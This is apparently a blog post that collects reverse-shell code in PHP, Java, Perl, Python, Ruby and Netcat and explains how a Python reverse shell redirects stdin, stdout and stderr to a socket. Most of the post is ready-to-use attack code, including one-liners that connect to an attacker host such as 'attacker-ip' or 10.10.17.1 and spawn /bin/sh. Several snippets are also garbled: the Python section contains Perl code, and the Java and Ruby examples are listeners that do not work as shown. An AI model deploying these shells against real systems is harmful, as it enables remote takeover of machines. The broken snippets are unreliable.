REVERSE SHELL USING CODING
REVERSE SHELL USING CODING IN PHP,JAVA,PYTHON,PERL,RUBY
PHP Reverse Shell
The attacker establishes a command shell on a remote machine by exploiting a vulnerability in the target system and using PHP, a server-side scripting language, to execute commands on the target machine:
<?php
// Start a listener on the attacker's machine
$sock=fsockopen("attacker-ip", 4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>The PHP code uses the fsockopen() function to open a connection to the listener and the exec() function to execute the /bin/sh shell and redirect its input, output, and error streams to the connection with the listener.
Java Reverse Shell
Here is an example of a reverse shell targeting a machine using Java:
public class ReverseShell {
public static void main(String[] args) {
// Start a listener on the attacker's machine
try (ServerSocket serverSocket = new ServerSocket(4444)) {
// Wait for a connection from the target machine
try (Socket clientSocket = serverSocket.accept()) {
// Open an input and output stream to the target machine
BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);
// Execute the command shell
Process p = Runtime.getRuntime().exec("/bin/sh");
// Redirect the input, output, and error streams of the command shell to the connection
new Thread(new SyncPipe(p.getErrorStream(), out)).start();
new Thread(new SyncPipe(p.getInputStream(), out)).start();
new Thread(new SyncPipe(in, p.getOutputStream())).start();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}Perl Reverse Shell
Perl is another good candidate for a reverse shell on a web server:
perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Python Reverse Shell
Here is a code example of a python reverse shell that can be used to establish a command shell on a remote machine:
- Start a listener on the attacker’s machine
use IO::Socket;
$|=1;
$socket = new IO::Socket::INET (
LocalHost => '0.0.0.0',
LocalPort => '4444',
Proto => 'tcp',
Listen => 1,
Reuse => 1
);- Wait for a connection from the target machine
$new_socket = $socket->accept();- Open a command shell on the target machine
system("/bin/sh -i <&3 >&3 2>&3");- Close the connection
$new_socket->close();Ruby Reverse Shell
Here is a code example of a Ruby reverse shell that can be used to establish a command shell on a remote machine:
- Start a listener on the attacker’s machine
require 'socket'
server = TCPServer.new(4444)- Wait for a connection from the target machine
client = server.accept- Open a command shell on the target machine
exec("/bin/sh -i <&3 >&3 2>&3")- Close the connection
Client.closeNetcat Reverse Shell
Here is a code example of a NetCat reverse shell:
- Start a listener on the attacker’s machine
nc -nlvp 4444
- On the target machine, use NetCat to establish a connection back to the listener
nc -e /bin/sh attacker-ip 4444Execute a reverse shell in Python Reverse Shell
To understand how a reverse shell works, we’ll examine a piece of code that can be used to establish a remote shell on Python:
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("0.0.0.0", 7777))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
Establishing a connection
These two lines are used to establish a connection to Python’s socket module. It creates a socket with an IPv4 address which communicates over TCP.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
This line specifies which IP address and port the socket should listen on:
s.connect(("0.0.0.0", 7777))
Overwriting file descriptors
Python’s CLI uses three data streams to handle shell commands: stdin for input data, stdout for output data, and stderr for error messages. Internally these are designated as 0, 1, and 2.
The shell code now uses the dup2 command of the Python os module, which interacts with the operating system.
The following command takes the file descriptor generated by the previous socket command, and duplicates it three times, overwriting the data streams stdin, stdout, and stderr with the reverse shell socket we created. s.fileno() refers to the file descriptor of the socket.
os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2)
Once these commands run, the three data streams of the CLI are redirected to the new socket, and are no longer handled locally.
Spawning the shell
The final stage of the attack is to run the Python subprocess module. This allows the reverse shell to run a program as a subprocess of the socket. The subprocess. call command lets us pass any executable program. By passing /bin/sh, we run a Bash shell as a sub-process of the socket we created.
p = subprocess.call(["/bin/sh", "-i"])
At this point, the shell becomes interactive – any data written to the shell will be written to the terminal and read through the terminal as if it was the main system shell. It is now possible to establish a connection back to the attacker’s machine, and allow them to execute commands remotely on the target machine.
Comments
Post a Comment